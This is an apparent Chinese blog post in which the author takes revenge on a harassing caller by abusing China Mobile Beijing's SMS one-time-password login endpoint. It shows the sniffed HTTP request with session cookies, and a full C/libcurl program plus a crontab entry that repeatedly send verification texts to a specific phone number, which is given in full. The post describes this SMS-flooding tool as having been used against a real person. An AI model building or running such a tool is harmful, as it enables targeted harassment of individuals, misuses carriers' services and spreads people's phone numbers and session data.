今天花花接到一只猥琐大叔的电话,说朋友给的号码,可以交朋友,交你妹啊交,这么直接,骗小孩儿哪?
直脾气的古人孔子曾经曰过:“以德报怨,何以报德?以德报德,以直报怨!”。
来而不往非礼也。看我小程序猿和你这猥琐大叔谁更孔子。
言归正传,用移动的童鞋都知道,移动的10086.cn可以凭短信动态密码登录,就是它!
用SmartSniff抓包,得到移动发送动态密码的接口通信如下:
GET /passport/SendTmpNum?wwwreq=true&mobile=18310873426&logintype=2&rnum=&backURL=http://www.bj.10086.cn/index/service/easyown/?smartID=86609239196&strPhone=18310873426&logintype=2&failedCode=from_bloc HTTP/1.1
Host: www.bj.10086.cn
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bj.10086.cn/index/service/easyown/?smartID=86609239196&strPhone=18310873426&logintype=2&failedCode=from_bloc
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: WT_FPC=id=121.18.236.223-2965699648.30214937:lv=1332743235076:ss=1332743229702; Webtrends=121.18.236.223.1332743235587947; JSESSIONID=0000alvFfBGp3XI3ZsMtFhZ7-JG:14ncppc54; JSESSIONIDP=0000ziw0fGMi03xKQoQujPlXvxd:14ncphien
HTTP/1.1 200 OK
Date: Mon, 26 Mar 2012 06:35:37 GMT
Server: IBM_HTTP_Server
Content-Type: text/html; charset=gb2312
Content-Language: zh-CN
Transfer-Encoding: chunked
Connection: Keep-alive
Via: 1.1 AN-00022620143135346d
<script type=’text/javascript’ >document.domain=’bj.10086.cn’;var a=’OK’;
parent.loginSmsState(a);
</script>
0
我都不敢相信自己的眼睛,竟然这么简单。
把backURL参数省去,剩下url:http://www.bj.10086.cn/passport/SendTmpNum?wwwreq=true&mobile=18310873426&logintype=2&rnum=&backURL=
输入浏览器地址栏,回车,ok。
如此这般,这代码用curl写起来就“so easy~!”了吧。
//fightback.c http://blog.de3eb.cn #include <curl/curl.h> #include <stdio.h> int fightBack(char* lpszNumStr) { int nRet = 0; char szUrlFormat[]="http://www.bj.10086.cn/passport/SendTmpNum?wwwreq=true&mobile=%s&logintype=2&rnum=&backURL="; char szUrl[sizeof(szUrlFormat)+12]; sprintf(szUrl,szUrlFormat,lpszNumStr); CURL *curl = curl_easy_init(); do{ if(!curl) { nRet = 1; break; } curl_easy_setopt(curl, CURLOPT_USERAGENT ,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"); curl_easy_setopt(curl, CURLOPT_URL, szUrl); nRet = curl_easy_perform(curl); curl_easy_cleanup(curl); if(nRet != CURLE_OK) { nRet = 1; break; } }while(0); return nRet; } int main(int argc,char*argv[]) { int nRet = 0; if(!fightBack("18310873426")) { printf("OK.\n"); } else { printf("Failed in fightBack.\n"); nRet = 1; } return nRet; }
最后,链接时不要忘了-lcurl
[cz@btdn fightback]$ ./fightback
document.domain=”bj.10086.cn”;OKOK.
运行良好。
再搭配上我的小vps+crontab
0 */3 * * * /home/cz/c/fightback/fightback > /dev/null
嗯,仁慈点,就仨小时一条吧。
哦吼吼~,够这小子郁闷一段时间了。 ❗
想起来王益进的一句话:“你是万能的程序员儿,没有什么是你办不到的。”
如果你也知道,你也认识我
😕 我傻了,用crontab执行系统的curl程序不得了么,真是脱了裤子放P
别教坏小盆友! 🙂
年末换vps后,才想起有这么个程序,心一软,就算了吧,crontab就没配这个。今天捣腾旧东西看见又执行了一下。
返回错误ERRORMOBILE
呵呵,看来效果还不错。不过往我家门上贴小广告的家伙还没搞死。